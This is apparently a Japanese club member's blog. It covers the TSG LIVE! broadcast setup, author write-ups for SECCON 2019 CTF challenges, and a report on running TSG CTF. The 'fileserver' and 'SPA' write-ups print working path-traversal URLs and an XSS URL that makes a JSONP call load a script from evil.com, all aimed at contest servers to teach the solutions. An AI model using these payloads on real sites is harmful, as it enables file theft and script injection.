2020年の抱負
ありません。強いて言えばつつがなく大学を卒業することです。
今年もいつもどおりやりたいことをやりたいときにやっていきます。
TSG LIVE! を支える技術 その1 ~全体構成~
この記事ではTSGが定期的に行っているライブ放送を支える技術をご紹介いたします。
※この記事は TSG Advent Calendar 2019 の2日目の記事です。
TSG LIVE! とは
博多市が所属するサークルでは、近年「プログラミング生放送 TSG LIVE!」と称して、TSG部員がプログラミングを行う様子を実況解説付きの生放送で配信する企画を東大の学園祭で企画しています。つい先月も東京大学駒場祭に合わせて第4回の放送が行われました。アーカイブも配信されているのでぜひ合わせてご覧ください。
この企画の裏側では、見かけによらず非常に多くのコードやインフラが動いています。同じようなライブ放送を行うことを考えている方のために、また TSG LIVE! を支える技術を後輩に継承していくために、このライブを裏側で支える技術を数回に分けて詳細に解説していこうと思います。
TSG LIVE! の表側
まずは TSG LIVE! 自体にどのような機能があるか、順を追って解説していこうと思います。
これが TSG LIVE! の放送画面です。
サイドバーを除いた左側の画面が放送のメイン画面であり、実況者のPC画面が映されています。ここにあらかじめ用意したスライドやプレイヤーの画面などを映してライブを進行していきます。
右側のサイドバーには現在放送中のライブの情報がリアルタイムに表示されます。右上には TSG LIVE! のロゴと、現在のライブ全体の対戦状況が表示されています*1。
中央辺りにあるのが現在の試合ステータスであり、現在放送中のライブで行われている対戦の様子がリアルタイムで更新され表示されます。その下にあるのが試合の残り時間を示すタイマーです。試合の経過に合わせて刻々と減っていきます。
一番右下にあるのがコメント欄です。ライブに対するコメントが流れていきます。このコメントは、
- ニコニコ生放送で頂いたコメント
- YouTube Live で頂いたコメント
- Twitterハッシュタグ #tsg_live 付きのコメント
- TSG LIVE! 特設サイト上の匿名コメント送信フォームから送信されたコメント
が全て合わせて表示されます。
画面左下には、試合の経過に応じて、重要な動きがあった場合に通知が表示されます。例えばコードゴルフ大会でプレイヤーからの提出があった場合などです。また同じ場所にプレイヤーのぼやきや戦略についてのコメントが表示されるプレイヤーコメントも表示されます。
この企画ではプレイヤーは別室に待機して対戦を行うのですが、ライブでは時折、プレイヤーがプレイしている様子が放送に映し出されます。この画面は実際にプレイヤーが対戦しながら表示しているデスクトップ画面をキャプチャーしたものであり、実況者がプレイヤーの一覧を眺めながら自由に切り替えられるようになっています。
また、今回の TSG LIVE! 4 では、オープニングトークで特別企画「たほいや」が行われました。この企画では視聴者がゲームに同時に参加することができ、「単語の意味」を放送中に登録でき、また管理画面で登録された意味をモデレーターがリアルタイムにモデレートできるようになっています。
なお、この放送は YouTube Live とニコニコ生放送の同時配信放送になっており、どちらからも同じ放送を視聴しコメントすることができるようになっています。
TSG LIVE! の全体構成
以上の仕様を満たすシステムを実現するために、多くのサービスを利用するとともに、専用ソフトの開発を行いました。全体の構成図をまとめてみると以下のようになります。
(draw.ioを使って書きました。初めて使ってみましたがなかなか悪くないです)
次回からはこの構成の各部のはたらきについて順を追って詳しく解説していきます。
#SECCON 2019 Online 「Tanuki」「Crazy Repetition of Codes」「fileserver」「SPA」の解説と講評のようなもの
本日開催された SECCON 2019 Online CTF の予選では、前回優勝チームであるチームTSGが作問協力を行いました。博多市はチームTSGの一員として「Tanuki」「Crazy Repetition of Codes」「fileserver」「SPA」の4問を提供したので簡単な解説と講評を行いたいと思います。
※For international readers: English version will be published sooner or later.
Tanuki (misc, 439pts)
Behold! We invented the brand-new, super-difficult, hyper-cryptic, and ultra-undecipherable cryptosystem for this SECCON CTF 2019! And we have the name of it: たぬき (Tanuki) !
Samples
Ciphertext 1: たたせくたこたたたんた
Plaintext 1: せくこんCiphertext 2: たSたEたたたたたCCたたたたたOたNたたた
Plaintext 2: SECCONOh, it's too difficult for you to decrypt? So then... TRY HARDER!
添付ファイル: tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz
解法1
一見解読不能に見える暗号ですが、よく考えてみましょう。ヒントは問題タイトルであり暗号の名称でもある「たぬき」です。「たぬき」、「た」「抜き」⋯⋯そう、「た」の字を抜けばいいのです!
実は、この暗号では暗号文を走査して「た」以外の文字を拾うことで平文を得ることができます。配布されたテキストファイルに対しても同様に上の操作を行うことでフラグを得ることができます。終了。
なお注意点として、配布されたファイルは展開すると2,906,376,313,410,896,280,535,164バイト (=約2.40ヨタバイト) になります。おそらく1つのハードディスクには収まらないので、追加でファイルを保存するためのハードディスクを購入しましょう。
2019年10月現在、価格.comで最もバイト単価の安いハードディスクはSEAGATEのST4000DM004で、7580円/4TBでした。よって、かかる費用は 2,906,376,313,410,896,280,535,164B × (7580円 ÷ 4TiB) = 5,009,117,661,675,580円 (=5009.117兆円) で済みます。
5000兆円を持っている方はぜひ試してみてください。
解法2 (5000兆円を持っていない場合)
5000兆円を持っていない場合でも、ご安心ください。工夫をすることで費用をぐっと抑えることができます。
gzipを何度か展開した後のファイルを調べてみると、データ中に単純な繰り返しパターンが多く現れていることが分かります。
gzipで用いられているDEFLATE圧縮では、LZ77と呼ばれる符号化手法が用いられています。この符号化はこれまでのデータから一致する部分を探し出しコピーしてくるというものですが、コピー元のデータが直前にある場合は、この符号化は実質的にランレングス圧縮とみなすことができます。与えられたgzipファイルのLZ77符号はほとんどがこのような直前のデータを繰り返すデータで構成されているため、圧縮元のデータをうまくランレングス表現で持つことで、データを完全に展開することなく効率的に元のデータを復元することができます。
さらに一歩考え方を進めてみましょう。今回のTanuki暗号ではフラグを表す文字列以外の部分はすべて単純な「た」の字の繰り返しであり、その繰り返しの長さに関しては問われません。仮に元文字列の繰り返しがより少なかったと仮定した場合、圧縮後のデータ列の繰り返し回数を表現する部分の数値が減るだけでデータの構造自体には影響を与えないでしょう。逆に言えば、展開時に圧縮後のデータ列の繰り返し回数を表現する部分を変更しても、元データの「た」の繰り返し回数が変化するだけでそれ以外の部分には影響を与えません。
即ち、この問題を解くにはデータの展開時にDEFLATEの符号列上から単純にデータの繰り返しを表現する部分を除去するだけで十分です。このように実装することで、もはやランレングス表現を持つ必要もなく、既存のDEFLATE展開ライブラリの実装を少し改造するだけで簡単にフラグを得ることができます。
ソルバスクリプト全体は後ほどSECCON運営から公開されると思いますが、抜粋すると以下のような感じです。いろんな言語/ライブラリで実装できると思いますが、今回はNode.jsおよびzlib.es (にパッチを当てたもの) を使用してみました。
const fs = require('fs'); const {inflate} = require('./lib/zlib.js'); // patched to emit tokens let gzip = fs.readFileSync('tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz'); for (const i of Array(12).keys()) { const headerEnd = gzip.findIndex((byte, index) => index > 10 && byte === 0); const zlib = Buffer.concat([ Buffer.from('789C', 'hex'), gzip.slice(headerEnd + 1, -8), gzip.slice(-4), ]); const {tokens} = inflate(zlib); const newBytes = []; for (const token of tokens) { if (token.type === 'data') { newBytes.push(token.value); } if (token.type === 'repeat') { if (token.distance <= token.length) { // data copy overlaps and is repeating previous data. just ignore them } else { newBytes.push(...newBytes.slice(-token.distance, -token.distance + token.length)); } } } gzip = Buffer.from(newBytes); if (i === 11) { console.log(gzip.toString().replace(/た/g, '')); } }
Crazy Repetition of Codes (Crypto, 326pts)
上のTanukiを作問した際についでに完成した問題です。
I'm crazy about googology!
文字列を int("1" * 10000)
回連結した際のCRC32チェックサムを求めよ、という問題です。
解法1: 巡回符号の有限級数として計算する
文字列sをn回繰り返した文字列のCRCを求めることを考えます。巡回符号はGF(2)上の多項式環で表せるので、sの多項式表現をS(x)、sのビット長をLsとすると、対象の文字列の多項式表現W(x)は
と表現できます。求めたいCRCはW(x)の生成多項式G(x)による剰余から求まります。
この式はそのまま初項S(x)、公比xLsの等比数列の有限級数とみなせます。よって等比数列の級数の公式を用いて
を直接計算することで上の式の計算結果が求まります。除算は拡張ユークリッドの互除法を用いて逆元を計算すればよいでしょう。累乗の計算に繰り返し二乗法 (バイナリ法) を用いれば計算量はO(logn)で、n=1010000であっても間に合います。
その他、繰り返し二乗法を用いて文字列連結を行うことでも高速に求まります。
解法2: 鳩の巣原理を用いる
⋯⋯という問題だったはずなのですが、競技終了後Writeupを拝読したところ、
方針は単純。どっかでループすると思われるので、それを特定する。ランダム要素がないので最悪でもcrc32を232回ぶん回せばループが発覚する。鳩ノ巣原理。
なるほど、盲点でしたが確かにそのとおりです。CRCは定数倍が軽いので232回で愚直に実装しても間に合う可能性が高いでしょう。
CRC64とかで出題するべきだったなあ
fileserver (Web, 345pts)
かなり難産でした。最終的にわりと綺麗な問題になったんじゃないでしょうか。自信作です。
I donno apache or nginx things well, I guess I can implement one for myself though. See? It's easy!
すでに想定解のWriteupが多数公開されているので端折りながら解説します。
解法 前半 Dir.globのヌル文字による挙動を利用する
Dir.globのドキュメントを読むと、
パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。
とあります。Rubyのファイル読み込み系メソッドとヌル文字の関係については、CVE-2018-8780やCVE-2019-15845などが記憶に新しいですね。このDir.globの挙動もこの類のものですが、これに関してはドキュメントにも載っているれっきとした仕様であり脆弱性ではありません。なんでなんですかね⋯⋯
これを利用して以下のようにフラグファイル名を取得します。
http://fileserver.chal.seccon.jp:9292/hoge%00/tmp/flags/
なお、この仕様は今年12月にリリースされる予定の Ruby 2.7.0 で廃止される予定です。
解法 後半 is_bad_pathの脆弱性を利用する
上と同じ手法を用いて喜び勇んでフラグの中身を取得しにいくと、今度は以下のようなエラーでにべもなく突き返されます。
Internal Server Error
path name contains null byte
ほぼ同じコードなのになぜ今度はエラーになるのかというと、Dir.globの少し下、File.extname関数にパスを渡す際にヌル文字が含まれるとエラーがraiseされて処理が中断してしまうためです。
ファイルの存在性確認では
matches = Dir.glob(req.path[1..])
ということをしているので、一見 //tmp/flags/xxx.txt
や /../../../../tmp/flags/xxx.txt
が通りそうですが、これらはいずれもWEBrickのURLのノーマライゼーション処理で殺されてしまいます。
想定解では、is_bad_pathの早期breakのバグを用いて、
/.\./.\./.\./.\./.\./.\./.\./tm{p,\[}/flags/xxx.txt
のようなURLでWEBrickのノーマライゼーションを回避しながらアクセスします。また、
/.{a,}./.{a,}./.{a,}./.{a,}./tm{[,p}/flags/xxx.txt
/{.}{.}/{.}{.}/{.}{.}/{.}{.}/tm{[,p}/flags/xxx.txt
/{aa[a,/tmp/flags/xxx.txt}
などでも正解できます。
なお、
/.\./.\./tmp/flags/{a,b,c,d,...}{a,b,c,d,...}{a,b,c,d,...}....txt
のようなURLを用いることで解法の前半をスキップできそうですが、僕が検証した限り今回のフラグファイル名にマッチするためにはどのように組み立てても4000文字以上になってしまい、WEBrickの MAX_URI_LENGTH (= 2083) を超えるようになっています。もしこの方針で解けた方がいたら面白いので教えてもらいたいです。
SPA (Web, 427pts)
Last day my colleague taught me the concept of the Single-Page Application, which seems to be the good point to kickstart my web application development. Well, now it turned out to be MARVELOUS!
SECCON開催直前にひねり出したXSS問です。解答者少なかったけど何も難しくなくないですか? wow wow
解法
location.hash経由でユーザー入力を与えられて、$.getJSONの引数に食わせることができます。つまり任意のJSONが与えられるということで prototype pollution やVue.jsの DOM-based XSS を疑った方もいたようですが、残念ながらそちらはハズレです。
だいぶメタ読みですが、Vue.jsのプロジェクトなのにわざわざ$.getJSONのためにjQueryをロードしているのはかなり不自然だと思います。普通はfetchとかでは? まあそれをカモフラージュするためにわりと本気のSPAを作ったんですが⋯⋯。
$.getJSONのドキュメントにあるとおり、引数のURLに?hoge=?
のような文字列を含めることで動作モードを強制的にJSONPにすることができます (なおこの挙動は$.ajaxや$.getなどで共通です)。これを用いて以下のように攻撃用jsを食わせることでXSS可能です。
http://spa.chal.seccon.jp:18364/#/evil.com/xss.js?callback=?&yakuza
TSG CTF 開催記
※めっちゃ長いです。
博多市です。
先日5月4日から5日にかけて、東京大学のサークルTSGの主催により、TSG CTF が開催されました。博多市はイベント自体の発案から全体の進行を司るなど、実質的に TSG CTF のリーダー的役割を果たしました。
今回、CTFを開催するという決して前例の多くない仕事を遂行する上で、貴重な先人たちの開催記やブログ記事に助けられました。なので、恩返しする意味も込めて、今回僕が TSG CTF を開催しての知見や感想、反省点をなるべく細かく書いていこうと思います。
- 特設サイト: https://ctf.tsg.ne.jp/
- スコアサーバー (アーカイブ): https://score.ctf.tsg.ne.jp
- 問題ファイルなど一式: https://github.com/tsg-ut/tsgctf
TL;DR
- CTFを主催するのは、大変だけど、楽しい!
開催に至るまでの経緯
まずは自信をつけるということ
さて、まず前提として共有しておきたいのは、CTFの大会を主催するというのは、とてもハードルが高いということです。
我らがTSGは、これまでチームTSGとして多くのCTFに参加してきましたが、逆に我々がCTFを主催する側に立つというのは去年の半ばくらいまで全く考えもしていませんでした。これは他の多くのCTFチームでも同じことだと思います。
理由はいくつかありますが、第一に、CTFを主催する際には、サーバーインフラの管理やチームマネジメントなど、CTFに参加するのと全く別の能力が必要になることが挙げられるでしょう。そしてさらに大事なこととして、CTFを主催するチームはCTFにとても強くなくてはいけないということです。
「普段CTFに参加しない人/団体が主催するCTFはクオリティが低い」というのはこの界隈ではよく取り沙汰される話です。実際に僕自身の経験からしても、どのような問題がCTFの問題として優れているか、というのはCTFに何度も参加しないとわからない話だと思いますし、難しい問題を作るにはその分野に関する相応の知識や経験を持っていないといけないという側面もあります。
実際にCTFを主催しているMMAやDragonSectorなどのCTFチームの強さや、FacebookやGoogleなどの企業のビッグネームを眺めるにつけ、やはりぽっと出の新参チームがCTFを主催などしてよいのかと怖気づいてしまいます。もちろんこれらの重圧を振り切って軽々にCTFを主催しろ、などと主張するつもりはありませんが、今回僕がTSGでCTFを主催しようと心を固めるまでに、そしてTSGのメンバーを説得する上で一番の障害となったのは、やはりこの「CTF開催における心理的障壁の高さ」でした。
二度のライブCTF
そういうことなので、我々TSGがCTFを主催するに相応しいチームであるという自信をつけるまでには、結構な紆余曲折がありました。一番のきっかけになったのは、東京大学の学園祭でTSGが行ったイベント「ライブCTF」でした。
TSGでは昨年から「TSG LIVE!」というライブコーディング企画を行っています。これはCTFほか競技プログラミングやコードゴルフなどのプログラミングにまつわる競技を解く様子を実況解説付きで放送するというもので、このライブCTFもその放送枠の中の企画の1つでした (詳しくは以前書いたブログ記事を参照)。
昨年は五月祭と駒場祭の2回このライブCTFを行いました。CTFを開催するのはハードルが高い、と言いつつも、第1回の五月祭ライブでは「まあ、内輪向けのCTFだし」ということで割と気軽に、それこそ半分くらいは過去問のコピーで良いや、という気持ちで問題を用意しました (ちなみに、我々のほとんどはこのときのライブCTFがはじめての作問経験でした)。
ところが放送当日、多くの視聴者から「解く様子を見たり解説を聞いたりするよりも実際に解いてみたい」という声を頂いて、多くのCTF競技者が実際に放送をご覧になってくれたことに喜びを覚えるとともに、彼らのアグレッシブさに驚かされました。これを受けて第2回の TSG LIVE! 2 では、第1回の反省を踏まえ、プレイヤー用に用意した問題を外部にも公開し、プレイヤーと同時に自由に解いてもらえるようにしました。準備段階では「参加するとしてもせいぜい数チームやろ」などと話し合っていましたが、本番では予想を遥かに超えて様々なチームやプレイヤーに参加してもらえるなど、多くの反響を得ました。ありがたい限りです。
このとき作問を担当していたのが、今回の TSG CTF でも大いに貢献してくれた@kczと@satosで、実際にライブCTFの問題を解いてくださった皆さんからも彼らの問題はかなり評価が高かったようです。特に好評だったのは@satos作問の「ROP4」「ROP1」で、国内の著名なCTFプレイヤーからもよい評価を頂くことが出来ました。(なお、これらの問題のwriteupは https://moraprogramming.hateblo.jp/entry/2018/12/04/121940 で公開されています。)
半ば偶然のような形ですが、実際に作問を行い外部の人に解いてもらうという得難い経験をこうして得たことにより、イベント気質の博多市は「これだけの良問を作れるメンバーが大学内に揃うタイミングは今しかないかもしれない。TSG CTF を開催するべきではないか⋯⋯?」という考えを得ることになります。
SECCON優勝
この気持ちを後押ししたのが、昨年12月に開催された SECCON CTF 2018 Finals です。すでに見知った方も多いでしょうが、この大会で我々チームTSGは栄えある国際優勝の冠を戴くことができました。
この大会に関しては必ずしも良きように風聞される限りではなく、おそらく運営や出題に対して何かしら思うところのある方も多いかもしれませんが、我々としては何はともあれ国内最大の大会で優勝、という実績を得たことにより、対外的なCTF開催の自信を得ました。
CTF開催に向けて具体的なアクションを取り始めたのもこのあたりからだったように思います。
開催スケジュール
CTFを開催する上で一番最初に決めるべきなのは日程です。この際に最も重要なのは他のオンラインのCTFと被らないような日程を選ぶということです。
今回我々は日取りに関しておおよそ運営側の制約がなく、ほぼ自由に開催日を選ぶことができましたが、逆に言うとそのぶん適切なスケジュールを決めるのには難航しました。
24時間ないし48時間のCTFを開催するなら、土日に行うべきなのはまず間違いないでしょう。しかし後述するCTFTimeに登録されている大会だけでも毎週末何かしらのCTFが開催されるため、新規のCTFが他のイベントと被らないようにするためには相当に気を使う必要があります。
このとき、やはりCTFTimeに登録されている大会スケジュールを参照するのですが、数ヶ月後の大会となると登録も告知もされていない大会が多く、予測はかなり困難を極めます。このあたりは昨年の開催実績を見ながらある程度エスパーしたりするのですが、今回実際に開催して気づいたのは、定期的に行われる年次大会でも意外と毎年違う時期に開催されているということです。これは特に有志のCTFチームによって開催されるCTFに顕著なのですが、やはり TSG CTF と同じように日取りに関してはかなり自由に決められるのか、非常に不規則な時期に予定を突っ込んできます。昨年度の開催記録は半分あてにならないと考えたほうがいいでしょう。
今回 TSG CTF が5月上旬という日程を選んだのには、いくつかの理由があります。
- スケジュール確定時点で他のCTFとかぶらないような日程だったこと
- 作問者が大学生である都合上、試験や学園祭などの大型の予定と被らないものであること
- ゴールデンウィークの10連休の最後の土日だったこともあり、準備作業にたっぷり時間を取れるスケジュール感にできること
しかし、先も言ったとおり数ヶ月先のCTFのカレンダーは予測がつかないので、スケジュールを決めたらあとは他のCTFと被らないよう祈るしかないと思います。TSG CTF は蓋を開けてみれば残念ながら InsH'ack CTF とバッティングしてしまいましたが、これはある程度仕方のないことだと思います。また結果論ですが、かぶっていたのが72時間のCTFの後半部分ということで、あまり深刻にバッティングした感じはありませんでした。
ちなみに、実は当初の予定だと TSG CTF は12月ごろに企画して2月か3月ごろに開催するつもりだったのですが、あまりに予定が急すぎたのと計画時点ですでに候補日が他のCTFで埋められていたため延期になりました。やはりCTF大会の準備は数カ月は必要ですね⋯⋯。
CTFTime
CTFTimeはCTFerなら誰もが知るCTFのポータルサイトであり、ここでの宣伝はプレイヤーへの認知のためにも非常に重要です。特に国内向けCTFなど一部のCTFでは意図的にCTFTimeに登録しないことも多いようですが、後述するように TSG CTF は世界を相手にした国際CTFとすることを当初から考えていたため、CTFTimeに登録することを決めていました。
CTFTimeでは通常のインターフェイスの他に自身が主催するCTFの管理ができる特権チームが存在し、CTFを登録するためには個別に運営に問い合わせてこの権限昇格をお願いする必要があります。おそらく場合によるでしょうがTSGの場合この手続きに1週間以上かかりました。TSG CTF では開催スケジュールの公示と同時に問い合わせを送りましたが、CTFTimeに登録できないとそもそも存在が認知されず、他大会とスケジュールがかぶる可能性が高まることを考えると、なるべく早めに、もしくはスケジュールを告知する前にこの手続きをしたほうがいいでしょう。
まあ、こんな経験そうそうする人がいるものではない気がしますが⋯⋯。
プレスリリース
今回の TSG CTF では、他の多くのCTFと同じく、スコアサーバーと別に特設サイトを設置しました (ちなみに、こちらの特設サイトもFlatt社のみなさんに制作していただきました。感謝!)。そして比較的挑戦的な試みとして、特設サイト公開と同時にプレスリリースを打っています。
こういった事を行うのは完全に初めての経験だったのですが、TSGが今後一般向けの活動を行う上で、広報手段の一つとしてどういったものなのかちゃんと学んでおきたい、というのが大きなモチベーションでした。
今回、Flatt側とTSG側で2種類のプレスリリースを作成し、Flatt側からは主にビジネス的な内容を、TSG側からは主に技術的な内容を中心とする文面で公開しました。このうちTSG側のプレスリリースは以下のウェブメディアに対して内容を送付しました。
うち、実際に記事にして頂いたのは Security NEXT の一社でした。この場を借りてお礼申し上げます。また、Flatt側のプレスリリースはPRTimesによる有償掲載を行っています。
これらはCVRなどちゃんと数値が取れているわけではありませんが、特設ページへのアクセス数などから察するにあまり費用対効果の高いものではなかったと思います。こういう狭い界隈に対する広報手段としてよく言われることではありますが、やはり一般向けの広告などはあまり効果が高くなく、地道に口コミで耳目を集めるしかないのかな、と思います。もし次回以降があるとしたらおそらくプレスリリースは打たないと思います。
ちなみに、TSG側のプレスリリースには「不正プログラム摘発に関するTSGの声明」と題した怪文書が添付されていますが、こちらは僕個人の強い要望により掲載したものです。昨今の事件に関して個人的にも物言いしたい気持ちがあったため、いいチャンスだと思ってTSG内で意見をまとめて掲出したのですが、そもそもプレスリリース自体があまり注目されなかったこともあって世間からの反響はほぼありませんでした。出すならもっと大々的にやらないといけませんね。
そして、これは完全に余談ですが、プレスリリース公開に合わせてTSGの公式サイト全体のフルHTTPS化を行いました。まあ、体面を飾る意味でもそうですし、こういう機会に少しずつメンテを行っていくのは大事だと思います。
TSG CTF のコンセプト
今回 TSG CTF を主催する上で、大会のコンセプトとして常に心に留めていたことがいくつかあります。
クソ問を出題しない
まあ、これはコンセプトと言うよりは大前提だと思いますが、やはりCTF大会をCTF大会として「良いもの」にする上で最も重要なことだと思いますし、先述したとおり「良い問題」を作るというのは熟練したCTFプレイヤーでないとなかなか難しいです。我々としても問題のクオリティに関しては一切妥協したくなかったので、リリースする問題に対して必ず複数人によるレビューを加え、クソ問的要素をなるべく排除するようにしました。結果的にボツになってしまい日の目を見なかった問題も複数問あります。
なおCTF界隈では有名な、クソ問を出題することを避けるためのドキュメントとしてpwning/docsの Suggestions for Running a CTF がありますが、博多市は開催にあたってこの文書を熟読しました。現在となってはいささか古い記述や実状に即していないアドバイスもありますが、実際に非常に有用なことも書いてあるので、みなさんもCTFの作問をする機会があれば一度読んでおくべきだと思います。
世界をターゲットに
次に重要な点として、TSG CTF を国際大会にするということです。
先も言ったとおり、日本のCTFの中には主に国内のユーザーをターゲットとし、CTFTimeへの登録なども行わない「国内大会」も存在しますが、一般的な事実として、世界は広いです。下に記す「中~上級者向けの大会にする」というコンセプトも相まって、やるからには世界を相手にしたいと思いましたし、我々にはそれを行う能力と義務があると思いました。
なので、スコアサーバーのインターフェイスや特設サイトの言語、公式からのアナウンスなど、全て第一言語を英語とし、サポートも英語で行うことを原則としました。幸いにしてTSGでは英語が堪能とは言わずともそこそこできるメンバーが大半だったため、これは大きなハードルにはなりませんでした。
中~上級者を対象に
これは主に我々のモチベーションによるものです。我々TSGのメンバーにとってCTFを主催するモチベーションは、「我々の作った面白い問題を解いて楽しんでもらいたい」というものであり、「セキュリティを啓蒙したい」とか「CTFを布教したい」といった類のものではありませんでした。面白い問題というのは往々にして難易度が高い (必ずしもそうではないですが) ため、このあたりは自然に決まっていったといえます。
結果として大会に参加した感想として「難しすぎた」「全く解けなかった」という声が散見されたのはいささか反省すべき点ではあります。これらはどちらかというと事前の告知の問題なので、仮に次回以降があるとしても全体的に難易度を下げて初心者向けの大会にする、ということは無いと思います (簡単な問題をいくらか増やして、初心者でも何問かは解けるようにする、というのはあるかもしれません)。
尖った問題を出題する
これはどちらかと言うと僕の個人的な嗜好の問題です。「真面目にセキュリティを勉強していれば解ける問題」「その道の専門家であれば解ける問題」よりも、「問題を開いた瞬間に『なんじゃこりゃ』って思ってもらえる問題」「その場で特殊知識を仕入れて新たな解決手段を導く問題」のほうを僕は好む傾向があります。例えば今年のPCTFのTriggeredなんかはすごく好きです (解けませんでしたが⋯⋯)。
なので、TSG CTF もそういった類の問題が多く出題される大会にしようと思っていました。特にTSG内外で何回か口にしたのは「特定のジャンルに縛られない問題、特にMisc問を増やしたい」ということです。MiscジャンルといえばCTFにおいてはどちらかというと「エトセトラ」といった扱いが多く、あまり注目されないジャンルかと思いますが、個人的にはCTFの総合格闘技的な側面を強く象徴するジャンルだと思っています。
結果的にはMisc問題はあまり増やすことができず2問しか出題できませんでしたが、どちらも良問だったと思います。
チャットコミュニケーションのDiscord化
CTFにおいては公式によるチャットサーバーを設け、運営によるサポートや参加者同士の軽いコミュニケーションなどが行われるのが慣例ですが、ほとんどの大会ではこのチャットサーバーにIRCを用いています。
が、今回の TSG CTF ではこの慣例を敢えて破り、Discord上にチャットサーバーを設けることにしました。この判断のもとになったのは主に、同じくDiscordを採用したHarekazeCTFの開催記に「登録や使い方についても特に問題は起こりませんでした」とあったためです。
結論から言うと TSG CTF においても、Discordを採用しての満足度は非常に高く、決断を下して良かったと感じています。しかし、大会終了後、数名のプレイヤーから「DiscordはIRCに劣っている」という旨の意見を頂戴しました。
これらの意見に関してですが、主催側の経験から言わせてもらうとはっきり言って理解に苦しみます。プレイヤーのUXにも係ることですので、ここではっきりと主張しておきたいと思います。
今回IRCをやめてDiscordを採用したことには、実際に多くの利点がありました。
- Discord参加者がサーバーに参加する以前の発言を閲覧することができる
- 誰が主催者なのか、つまり問題についての質問を誰に投げればいいのか一目で分かる
- これは同時にadminを装って解法のヒントを得ようとするソーシャルハッキングを困難にします
- チャンネルごとに話題を切り分けることができる
- TSG CTF の場合、英語でのコミュニケーション、日本語でのコミュニケーション、運営からの通知の3つのチャンネルで運用しました。これもHarekazeCTFにならったものです。
- お知らせチャンネルに投稿できるユーザーを権限で切り分けることができる
- 接続時に使用したIPアドレスを容易に秘匿することができる
- (今回は使用しませんでしたが) 必要に応じてDiscordサーバーの認証レベルを引き上げてスパム対策を講じることができる
- リアクションやリンクの展開などモダンなチャットコミュニケーションの機能を使用することができる
個人的には、一番上の「参加する以前の発言を閲覧することができる」というのが特に大きいと考えています。僕はIRCでの会話はなんであれCTFを解く際の重要なヒントになると考えているので (なので博多市はTSGでもIRC監視記録係のような役割をしています)、CTF開始時点でIRCに参加していたか? というような、問題に非本質な部分で参加者間の情報の格差が生じるのがとても嫌でした。おそらく多くのCTFにおいて「IRCに参加してフラグを得る」という半ば強制的にIRCに参加させるような問題を採用しているのも同じような理由かと思いますが、絶対的な意味でCTFを公正な「競技」にするためにはIRCはあまりに非力だと思います。ここは賞金を出す立場でもある以上絶対に譲れない部分でもあります。
一方で、IRCを捨てたことで失ったものも確かにあると思います。TSG内でも協議しましたが、特に大きいと思われるのは「アカウントの使い捨て感」でしょう。DiscordもIRCも名前を入力すると仮アカウントが発行されて入室できるようになるのは同じですが、Discordの場合はCookieが生きている限り同じ仮アカウントが使い回されるなど、アカウントの「強度」がやや違います。IRCではサーバーから切断するとチャンネルのメンバー一覧からも抹消されて煙のようにいなくなるのも、この意味では好ましいかもしれません。
これは純粋に参加者の気持ちの問題なので、上で挙げたような利点と総合してプレイヤー側から評価して貰う必要があると私は考えます。今回、CTF終了直前にSurveyを設け、プレイヤーにアンケート調査を行いましたが、その中に「Discordでのユーザー体験はいかがでしたか?」という内容の設問がありました。結果は以下の通りです。
英語アンケート
日本語アンケート
アンケートに回答していただいたのは最後までCTFに参加していただいたプレイヤーの皆さん、というバイアスはあるものの、それを加味しても全体で好印象を (特に海外のユーザーから) 頂いているように思います。
たしかに、IRCというツールの「ハッカー感」はCTFというイベントには似つかわしいと僕も思いますし、今でも多くのエンジニアコミュニティが稼働している、エンジニアにとっての「ホームグラウンド」であることは重々承知です。しかしことこのようなコミュニケーションを取る場としては、IRCが時代遅れの産物であることは論を俟たないでしょう。後述するように、現在次回開催の目処は立っていませんが、もし次回があるとすれば同じようにDiscordを選択する (あるいはIRCともDiscordとも違う選択肢を検討する) ことは断言できます。
Writeup提出の義務化
今回の TSG CTF では、賞金獲得圏の上位チームにWriteupの提出を義務付け、さらにその内容を一般に公開しました。これは最近のCTFではよくある話だと思いますが、とりわけ直前に開催されたPCTFの様子を参考にした部分が大きいです。
賞金を渡す上での最低限の認証⋯⋯という側面もありますが、どちらかというと、我々が読み返して学びを得たいのと、ちゃんと (解いた人による) Writeupが存在する過去問として TSG CTF の問題を世に残しておきたかったというのが大きいです。なので、全チームのWriteupが提出される前に作問者側のWriteupを公開することに関しても躊躇いはありませんでした。
解答した全問題に対してWriteupを書くのは入賞者には結構な負担となったと思いますが、やはり問題を作った側からは見えてこない部分も多いので (今回のHarekaze問とか)、簡単にでも良いので入賞者の人々にちゃんとWriteupを書いてもらうというのは非常に良かったと思っています。Writeupを提出してくださったチームのみなさんには改めて感謝の意を表したいと思います。
賞金のBitCoin送金
今回のCTFでは、優勝者への賞金の送金手段としてBitCoinを採用しました。これは主に海外への送金を考えてと、送金の公的証明が得られるのを考えてのことですが、あまり他の送金手段と真剣に比較したわけではないので正直良い選択だったのかわかりません。実際に送金を行った感想として、BitCoinの送金の仕組みが意外とややこしい (ウォレットアドレスにもSegWitアドレスなどいくつか種類があったり、取引所がそれに対応していたりいなかったり) のと、手数料がかなり高いのが若干ネガティブに感じられました。
開催までに行ったこと
スコアサーバーの技術選択
CTFを開催するためには、当然ながらスコアサーバーが必要不可欠です。CTFの問題と並んでCTFのキモになる部分でもあるので、これをどうするかはかなり悩んだり相談したりしました。世の中にはCTF用のオープンなスコアボード実装が多く存在していますが、いろいろと試してみた結果、結局、最もメジャーな実装であるCTFdを採用することにしました。これは主に以下のような理由です。
- 最もよく使用されているCTFスコアサーバー実装であり、安全性を高める観点からも好ましいため
- 過去行ったライブCTFでもCTFdを立てた経験があるため
- CTFdのバージョンアップにより比較的リッチなAPIが実装されており、後述するSPA化が容易であること
ただ、皆さんご存知のCTFdのあのデフォルトのテーマを採用するのは、ひと目で「こいつCTFd使ってるな」となるユニクロ的ダサさがあるなと思ったので、できれば避けたいと思っていました。そこで、CTFdのテーマ機能を利用し、見た目だけでもCTFdっぽくない感じにすることにしました。結果できあがったのが、みなさんご覧になったであろうこちらのスコアサーバーの画面です。
実装とデザインはわたくし博多市が全面的に行いました。開催直前に突貫で作った割には比較的いい感じの見た目にできたのではないかと思っています。
CTFdカスタムテーマを支える技術
こちらのカスタムテーマですが、せっかくなので現代的な構成にしたいのと、同時に僕自身が得意とする技術分野でもあったことから、Nuxt.jsのSPAモードで実装してあります。
